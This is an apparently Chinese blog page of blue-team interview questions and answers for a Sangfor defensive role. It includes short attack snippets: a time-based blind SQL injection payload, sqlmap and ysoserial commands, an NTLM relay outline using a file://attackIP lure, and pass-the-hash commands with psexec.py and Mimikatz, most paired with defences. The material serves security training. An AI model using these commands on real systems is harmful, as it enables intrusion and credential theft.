深信服护网蓝初面试题

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

1. HTTPS流量分析(SQL注入识别)

题目:如何从HTTPS流量中识别SQL注入攻击?
答案

  • 解密方法
    1. 浏览器导出SSLKEYLOGFILE,Wireshark配置TLS会话密钥。

    2. 解密后筛选HTTP流量,搜索UNION SELECTSLEEP(等关键词。

  • 特征:异常长的URL参数、重复的单引号或注释符(如--)。

  • 工具:Wireshark、Burp Suite历史记录分析。

2. 时间盲注利用

题目:某SQL注入点无回显但未过滤SLEEP(),如何盲注获取数据库名长度?
答案

  • Payload
    ' AND IF(LENGTH(DATABASE())=8, SLEEP(5), 0)--

  • 自动化工具sqlmap -u "目标URL" --technique=T --time-sec=5 --dbms=mysql

  • 原理:通过响应时间差异判断条件真假。

3. NTLM Relay攻击

题目:内网中如何利用NTLM Relay攻击获取域控权限?
答案

  • 步骤
    1. 使用ResponderImpacket监听SMB/LDAP请求。

    2. 触发目标机器向攻击者发送NTLM认证(如钓鱼链接file://attackIP/恶意文件)。

    3. 将NTLM Hash Relay到域控,执行命令(如添加用户)。

  • 防御:启用SMB签名、限制NTLM使用。

4. 反序列化漏洞(RCE)

题目:某Java应用使用Apache Commons Collections 3.1,如何构造Payload实现RCE?
答案

  • 利用链InvokerTransformer链触发Runtime执行命令。

  • 工具:使用ysoserial生成Payload:
    java -jar ysoserial.jar CommonsCollections5 "cmd.exe /c calc" > payload.bin

  • 防御:升级依赖库、禁用危险反序列化类。

5. DNS Rebinding攻击

题目:解释DNS Rebinding攻击原理及防御方法。
答案

  • 原理:恶意网页通过短TTL域名绑定到内网IP,绕过同源策略攻击内网服务。

  • 防御
    • 浏览器限制DNS解析缓存时间。

    • 内网设备禁止响应外部DNS解析请求。

    • 应用层校验Host头与请求来源IP。

6. 垂直越权漏洞

题目:某CMS管理后台通过/admin路径判断权限,普通用户请求此路径返回403。如何绕过?
答案

  • 方法1:伪造Cookie或JWT令牌提升权限(如修改role=admin)。

  • 方法2:直接访问后台API接口(如/admin/addUser),绕过前端路由校验。

  • 防御:服务端校验用户角色、RBAC权限控制。

7. 内网横向移动(Pass the Hash)

题目:已获取内网某主机的NTLM Hash,如何横向移动到另一台主机?
答案

  • 工具
    • psexec.pypython psexec.py -hashes :<NTLM_Hash> DOMAIN/user@目标IP

    • Mimikatzsekurlsa::pth /user:Administrator /domain:test.com /ntlm:HASH

  • 防御:启用LSA保护、限制管理员账户登录范围。

1. 什么是DDoS攻击?如何防范DDoS攻击? DDoS攻击是指分布式拒绝服务攻击,即利用多台计算机同时向一个目标发起攻击,使得目标服务器无法正常响应请求。防范DDoS攻击的方法包括:使用防火墙、使用入侵检测系统、增加带宽、使用反向代理、使用CDN等。 2. 什么是SQL注入攻击?如何防范SQL注入攻击? SQL注入攻击是指通过在Web应用程序中输入恶意的SQL语句,从而获取或修改数据库中的数据。防范SQL注入攻击的方法包括:使用参数化查询、限制输入长度和类型、过滤特殊字符、使用存储过程等。 3. 什么是XSS攻击?如何防范XSS攻击? XSS攻击是指通过在Web应用程序中注入恶意的脚本代码,从而获取或修改用户的敏感信息。防范XSS攻击的方法包括:过滤特殊字符、对用户输入进行转义、使用HTTPOnly Cookie、对输入进行白名单验证等。 4. 什么是CSRF攻击?如何防范CSRF攻击? CSRF攻击是指攻击者利用被攻击者的身份发起的一种攻击,从而实现恶意操作。防范CSRF攻击的方法包括:使用随机Token、验证Referer、使用验证码、使用二次确认等。 5. 什么是漏洞扫描?如何进行漏洞扫描? 漏洞扫描是指对目标系统进行安全测试,识别其中存在的漏洞。进行漏洞扫描的方法包括:手动扫描、使用漏洞扫描工具、使用自动化扫描工具等。 6. 什么是渗透测试?如何进行渗透测试渗透测试是指对目标系统进行安全测试,模拟攻击者的攻击行为,评估目标系统的安全性。进行渗透测试的方法包括:信息收集、漏洞扫描、利用漏洞获取权限、维持权限等。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值